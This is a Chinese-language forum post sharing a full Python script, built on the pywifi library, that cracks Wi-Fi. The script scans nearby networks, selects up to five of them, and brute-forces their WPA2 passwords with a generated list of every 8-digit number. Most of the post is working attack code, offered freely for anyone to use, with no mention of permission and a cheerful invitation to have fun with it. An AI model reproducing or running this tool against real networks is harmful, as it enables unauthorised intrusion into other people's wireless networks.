本人第一次发帖,把大杂烩的python应用给大家交流。网站上看了很多可以破解wifi的帖子,但是又的写的不全,或者功能不够强大。潜心梳理,话费了一天时间编了源码,并牺牲中午和晚上时间进行测试,优化,现在分享给大家。需要学习的请随意取用,不要客气。
先贴图
这个程序的特点是可以对读到的wifi进行清洗,选择信号强度高的wifi进行排序后,逐一破解。
这类暴力破解需要的密码本确实可以事半功倍,但有的同学还不会找密码本 ,下面的代码可以生成密码本。
def code_book():
"""密码本生成函数,在破解运行前需要有密码本。这个函数产生8位数的wifi密码,1亿条密码需要大概一个
G的存储空间,运行时间看电脑性能了,大概20分钟左右"""
all_chars = string.digits
# 用于求多个可迭代对象的笛卡尔积(Cartesian Product),它跟嵌套的 for 循环等价.即:((x,y) for x in A for y in B)
# 生成结果形如('0', '0', '1', '2', '2', '5', '2', '5')
r = itertools.product(all_chars, repeat=8)
with open('code_book.txt', 'a') as file:
for i in r:
file.write(''.join(i)+'\n')
还很用心的使用了装饰器和棉花糖,代码如下:
def record_time(function):
"""装饰器函数实现不更改主函数功能并能实现部分装饰功能"""
def wrapper(*args, **kwargs):
start = time.time()
result = function(*args, **kwargs)
end = time.time()
print(f'\n{function.__name__:}完成,执行时间{end - start :.2f}秒')
return result
return wrapper
@record_time
def code_book():
pass
下面的代码选择需要对多少个wifi进行逐一破解。
def get_wifi():
wifi = pywifi.PyWiFi() # 获取所有无线网卡
ifaces = wifi.interfaces()[0] # 指定第一个网卡
print('正在扫描wifi。。。')
ifaces.scan()
time.sleep(2)
print('扫描完成:')
results = ifaces.scan_results() # 第一个网卡扫描到的wifi结果
wifi_list = []
for data in results:
wifi_list.append((data.ssid, data.signal))
# print(data.ssid, data.signal)
sorted(wifi_list, key=lambda x: x[1], reverse=True) # 按信号强度排列路由器列表
print(wifi_list) # 便于查看搜索到的路由器
n = len(wifi_list)
i = 5 # 指定返回搜索到的wifi个数,后续程序会对i个路由器依次破解
if n <= i:
return wifi_list
else:
return wifi_list[:i]
代码解释还是比较详尽的,大家整个源码如下,大家可以自己需要仔细阅读,亲测完美运行,就是破解速度一般,毕竟网卡连接太费时间,而且不能分布式使用,供大家练手还是本不错,哈。
整个源码如下,需要学习的同学自取。
# projecte: gift.py
# user: 309
# file: wifi_crack
# author: flamingyou
# time: 2021/12/30/9:07
import itertools
import pywifi
from pywifi import const
import time
import string
import sys
def record_time(function):
"""装饰器函数实现不更改主函数功能并能实现部分装饰功能"""
def wrapper(*args, **kwargs):
start = time.time()
result = function(*args, **kwargs)
end = time.time()
print(f'\n{function.__name__:}完成,执行时间{end - start :.2f}秒')
return result
return wrapper
@record_time
def code_book():
"""密码本生成函数,在破解运行前需要有密码本。这个函数产生8位数的wifi密码,1亿条密码需要大概一个
G的存储空间,运行时间看电脑性能了,大概20分钟左右"""
all_chars = string.digits
# 用于求多个可迭代对象的笛卡尔积(Cartesian Product),它跟嵌套的 for 循环等价.即:((x,y) for x in A for y in B)
# 生成结果形如('0', '0', '1', '2', '2', '5', '2', '5')
r = itertools.product(all_chars, repeat=8)
with open('code_book.txt', 'a') as file:
for i in r:
file.write(''.join(i)+'\n')
def get_wifi():
wifi = pywifi.PyWiFi() # 获取所有无线网卡
ifaces = wifi.interfaces()[0] # 指定第一个网卡
print('正在扫描wifi。。。')
ifaces.scan()
time.sleep(2)
print('扫描完成:')
results = ifaces.scan_results() # 第一个网卡扫描到的wifi结果
wifi_list = []
for data in results:
wifi_list.append((data.ssid, data.signal))
# print(data.ssid, data.signal)
sorted(wifi_list, key=lambda x: x[1], reverse=True) # 按信号强度排列路由器列表
print(wifi_list) # 便于查看搜索到的路由器
n = len(wifi_list)
i = 5 # 指定返回搜索到的wifi个数,后续程序会对i个路由器依次破解
if n <= i:
return wifi_list
else:
return wifi_list[:i]
def get_ssidnames(wifi_list):
ssidnames = []
for item in wifi_list:
if item[0] != '' and (item[0] not in ssidnames): # 发现读取到的路由器竟然有空的名称,使用if语句滤掉
ssidnames.append(item[0])
return ssidnames
def get_ifaces():
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
return ifaces
def try_connect(ifaces, ssidname, password):
ifaces.disconnect()
profile = pywifi.Profile()
profile.ssid = ssidname # 指定使用哪个wifissid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK) # 指定wifi的加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile.key = password
ifaces.remove_all_network_profiles()
tmp_profile = ifaces.add_network_profile(profile)
ifaces.connect(tmp_profile) # 连接wifi
time.sleep(5) # 强制睡眠,给网卡连接网络留出时间,电脑和路由器性能好,离得近可以适当设小一些
if ifaces.status() == const.IFACE_CONNECTED:
print(f'\nwifi: {ssidname}破解成功,密码是:', password)
return False
else:
sys.stdout.write(f'\r wifi: {ssidname}尝试{password}失败!继续尝试!') # 破解不刷屏
sys.stdout.flush()
return True
@record_time
def run():
print('开始暴力破解wifi')
path = r'./code_book.txt'
wifi_list = get_wifi()
ssidnames = get_ssidnames(wifi_list)
# print(ssidnames)
ifaces = get_ifaces()
for ssidname in ssidnames:
with open(path, 'r') as file:
flag = True
while flag:
password = file.readline().replace('\n', '')
if password:
flag = try_connect(ifaces, ssidname, password)
else:
break
if __name__ == '__main__':
# code_book() # 生成密码本
run()
希望大家玩的开心,而且还不需要找人要密码本了,哇哈哈哈。
差点忘了交代大家,因为pywifi模块不会我上传,大家可以在别的帖子里下找百度云链接下载,剩下的都是自带模块,引入可用。